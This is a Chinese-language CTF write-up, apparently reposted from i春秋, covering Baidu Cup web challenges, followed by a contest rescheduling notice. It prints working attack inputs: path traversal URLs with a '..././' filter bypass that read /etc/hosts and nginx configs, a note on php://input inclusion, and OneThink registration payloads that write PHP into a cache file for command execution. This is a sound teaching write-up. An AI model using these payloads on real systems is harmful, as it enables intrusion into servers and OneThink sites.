1,爆破一

1

限制了只允许数字字母下划线

利用超全局变量 $GLOBALS

2

获得FLAG

 

2,爆破二

3

很明显的代码注入

4

获得FLAG

3,爆破三

5

SESSION nums需要>=10返回flag

初始化为0

其中substr(md5($value),5,4)==0是恒成立的

只要满足whoami 等于就会  对nums加1

Whoami初始化为ea

并且加一的同时会输出 下一个随机whoami值 不知道是不是题出错了 只需要提交10次就可以了

6

第一次提交value[0]=e&value[1]=a

接下来的value值根据输出出来的 对应构造请求就可以了

7

很明显的包含漏洞

查看phpinfo信息发现allow_url_include是开启的 可以利用php://input 等协议 执行任意代码

8

获得FLAG

5,Zone

 

9

设置了login=0

伪造login=1重新访问下

10

拿到一个管理页面

http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=index&name=php

看样子是一个包含漏洞

测试fuzz

http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=in../dex&name=php

返回正常

http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=in./dex&name=php

返回空白

替换了../

双重构造饶过

http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=..././..././..././..././..././etc/hosts&name=

11

包含日志 爆破上传路径均失败

查看了nginx.conf文件

http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=..././..././..././..././..././etc/nginx/nginx.conf&name=

12

继续查看这个文件

http://fff70c630e154d28b1f69c128565dc86cde01d11dc9342af.ctf.game/manages/admin.php?module=..././..././..././..././..././etc/nginx/sites-enabled/default&name=

13

这里比较可疑  通过搜索引擎搜索 得知 这个地方设置错误会导致目录遍历下载漏洞

具体利用可百度

14

获得FLAG

6,Onethink

题目提示利用已知的漏洞拿shell,百度搜 “onethink 漏洞”,找到以下文章

http://www.ourlove520.com/Article/diannao/wangluo/227731.html   //onethink最新通杀getshell定位分析

http://www.hackdig.com/06/hack-36510.html      //thinkphp框架写的开源系统或被getshell tp官方onethink举例

大意是thinkphp的缓存方式缺陷配合onethink过滤不严造成的命令执行漏洞。

thinkphp的默认缓存方式S()是以File方式,在/Runtime/Temp 下生成文件名固定的缓存文件

onethink在/Runtime/Temp生成缓存文件2bb202459c30a1628513f40ab22fa01a.php,其中记录的用户名可以被用户控制,由于注册时只限制了用户名长度,没有对内容进行过滤,造成了命令执行漏洞。

虽然图都挂了,但是看代码和文字分析,把源码下回来本地搭环境测试了好久,勉强把漏洞利用复现出来。

由于限制了用户名长度,用burpsuit改包,注册下面2个帐号:

 

%0a$a=$_GET[a];//

 

%0aecho `$a`;//

然后依次登录,这里要注意顺序,因为先登录的会先写进缓存文件,顺序写反了就执行不了了

最后访问

/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=cat ../../flag.php

得到flag

通知

由于百度杯2月第三场比赛时间(2017/2/25 - 2017/2/26)与XCTF比赛郑州站ZCTF的比赛时间冲突,为了保证比赛的稳定运行,现决定

将百度杯2月第三周比赛的参赛时间提前两天,更改为 2017/2/23 - 2017/2/24 (即本周四、周五),届时会在比赛相关群发送公告,敬请关注!也欢迎大家关注百度杯以及ZCTF~祝大家参赛愉快!^_^

【本文来自 i春秋,安全脉搏整理发布】   

源链接

Hacking more

...